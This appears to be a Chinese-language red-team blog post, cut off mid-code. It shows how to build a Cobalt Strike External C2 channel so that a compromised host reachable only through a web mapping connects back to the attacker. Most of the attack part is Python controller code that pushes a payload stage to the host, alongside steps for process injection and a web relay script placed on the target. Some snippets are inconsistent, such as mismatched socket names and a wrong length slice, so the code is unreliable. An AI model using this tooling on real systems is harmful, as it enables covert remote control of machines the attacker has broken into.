0x00 前言
Cobalt Strike
的上线问题归结为以下几点:
问题 | 解决方法 |
---|---|
目标存在杀软(被杀) | Shellcode 加载器 |
目标存在杀软(拦截连接) | C2 处理 |
目标机是 Web 映射出网 | 特殊 C2 处理 |
隔离网络 | 出网机器做跳板 |
本文针对第 3 点进行展开。
0x01 前置知识点
1.1、管道
如果对管道不熟悉的朋友,可以将管道理解为采用消息队列方式操作的文件。为什么说管道是文件呢?因为它的本质是一段系统内核的缓冲区,可以看做是一个伪文件。在我们使用管道时,需要 Create、Open、Read、Write、Close,就和我们操作文件差不多。而又为什么说管道是采用消息队列的方式呢?因为它实际上的数据结构是一个环形队列。不同的线程都可以向里面写,也可以从里面读。写在队列末尾,读就是从队列头部删除。
管道分为两种,匿名管道(pipe)
和命名管道(FIFO)
。匿名管道用于父子进程通信,而命名管道可以用于任意两个进程通信。
- 服务端:创建管道 >> 监听 >> 读写 >> 关闭
- 客户端:打开命令管道,获得句柄 >> 写入数据 >> 等待回复
1.2、SMB Beacon
官网的解释为:SMB Beacon 使用命名管道通过父 Beacon 进行通信,这种点对点通信借助 Beacons 在同一台主机上实现,它同样也适用于外部的互联网。Windows 当中借助在 SMB 协议中封装命名管道进行通信,因此,命名为 SMB Beacon。
以上的说法,其实就是将 Payload
运行(注入)后,创建了自定义命名管道(作服务端),等待连接即可。
0x02 External C2
External C2
是 Cobalt Strike
引入的一种规范(或者框架),黑客可以利用这个功能拓展C2通信渠道,而不局限于默认提供的 HTTP(S)/DNS/SMB/TCP
通道。大家可以参考 此处 下载完整的规范说明。
简而言之, 用户可以使用这个框架来开发各种组件,包括如下组件:
- 第三方控制端(Controller):负责连接 Cobalt Strike TeamServer,并且能够使用自定义的 C2 通道与目标主机上的第三方客户端(Client)通信。
- 第三方客户端(Client):使用自定义C2通道与第三 Controller 通信,将命令转发至 SMB Beacon。
- SMB Beacon:在受害者主机上执行的标准 beacon。
从 Cobalt Strike
提供的官方文档中(文末有官方文档),我们可以看到如下示意图:
从上图可知,我们的自定义 C2
通道两端分别为 Controller
以及 Client
,这两个角色都是我们可以自行研发以及控制的角色。往下走就是一个完整的 ExternalC2工作流程
。
0x03 正常的 External C2 工作流程
一个粗糙的时序图(图中的空虚线是为了排版,无其他意义):
3.1、ExternalC2
我们需要让 Cobalt Strike
启动 External C2
。我们可以使用 externalc2_start()
函数,传入端口参数即可。一旦 ExternalC2
服务顺利启动并正常运行,我们需要使用自定义的协议进行通信。
- 启用 externalc2_start 函数,通知 Teamserver 已开启 C2
externalc2_start("0.0.0.0", 2222);
- 等待 Controller 连接传输配置信息
- 生成下发 Payload Stage
- 接收和下发信息
3.2、Controller
Controller
- 使用 socket 连接 ExternalC2 平台
_socketToExternalC2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP) _socketToExternalC3.connect(("193.10.20.123", 2222))
规范接收与发送的数据格式
def encodeFormat(data): return struct.pack("<I", len(data)) + data def decodeFormat(data): len = struct.unpack("<I", data[0:3]) body = data[4:] return (len, body) def recvFromExternalC2(): data = "" _len = _socketToExternalC3.recv(4) l = struct.unpack("<I",_len)[0] while len(data) < l: data += _socketToExternalC3.recv(l - len(data)) return data def recvFromBeacon(): data = "" _len = _socketToBeacon.recv(4) l = struct.unpack("<I",_len)[0] while len(data) < l: data += _socketToBeacon.recv(l - len(data)) return data
发送配置选项(x86 or x64 、命名管道名称、间隔时间)
发送 go,通知 ExternalC2 可下发 Payload Stage
def sendToTS(data): _socketToExternalC3.sendall(encodeFormat(data)) sendToTS("arch=x86") sendToTS(“pipename=rcoil") sendToTS("block=500") sendToTS("go")
接收来自 ExternalC2 所下发的 Payload Stage
data = recvFromExternalC2()
与此同时,新开启一个 Socket,进行监听,等待接收来自 Client (EXE) 的数据
_socketBeacon = socket.socket(socket.AF_INET, socket.SOCK_STREAM, socket.IPPROTO_IP) _socketBeacon.bind(("0.0.0.0", 8088)) _socketBeacon.listen(1) _socketClient = _socketBeacon.accept()[0]
在收到 Client (EXE) 的连接后,向 Client (EXE) 发送 Payload Stage
- 向ExternalC2 反馈来自 Client (EXE) 的数据
- 机器上线
- 进入数据收发循环处理流程
可以参考 此处获取完整的 XPN
的 Controller
代码。
3.3、Client (EXE)
- 同样规范接收与发送的数据格式
- 连接 Controller,并接收 Payload Stage
- 将接收到的 Payload Stage 使用常规的进程注入方法注入到进程中
- SMB Beacon启动并处于运行状态
- Client (EXE) 连接 SMB Beacon 的命名管道,用于接收或下发命令
- 进入数据收发循环处理流程
可以参考 此处 获取完整 XPN
的 Client (EXE)
代码
0x04 特殊的 C2 配置
以上所配置的 C2
,并不能满足我们现在的特殊需求:Web 映射出网环境上线问题
。由于目标机是不出外网的,所以无法实现上面的: Client
主动连接 Controller
,进而将 Payload Stage
下发,所以可以从上面的流程进行修改,其实修改起来也不难,以下是解决方案:
需要在目标机器上面(根据 Web 容器)编写一个对指定的命名管道进行读取和写入的脚本(Client-Web),然后在 Controller 上对此脚本(Client-Web)进行连接(读写操作),将主动变成被动即可解决。
为了省略阅读时长,直接看以下时序图(图中的空虚线是为了排版,无其他意义)。
需要多一个中转设置,我们将这个中转命名为 Client-Web
,确保自定义周期能够完成。接下来小节中的代码,如果是应用于实战,建议自写。
4.1、Controller
这一部分与上所述基本一致,只是将挂起的 socket
转为对 Web
的请求,主动去获取数据,再将获取到的数据进行反馈。
// 代码来源:https://github.com/hl0rey/Web_ExternalC2_Demo/blob/master/controller/webc3.py
import socket
import struct
import requests
# import random
import time
PAYLOAD_MAX_SIZE = 512 * 1024
BUFFER_MAX_SIZE = 1024 * 1024
def tcpconnect(ip, port):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
return s
def recvdata_unpack(s):
chunk = s.recv(4)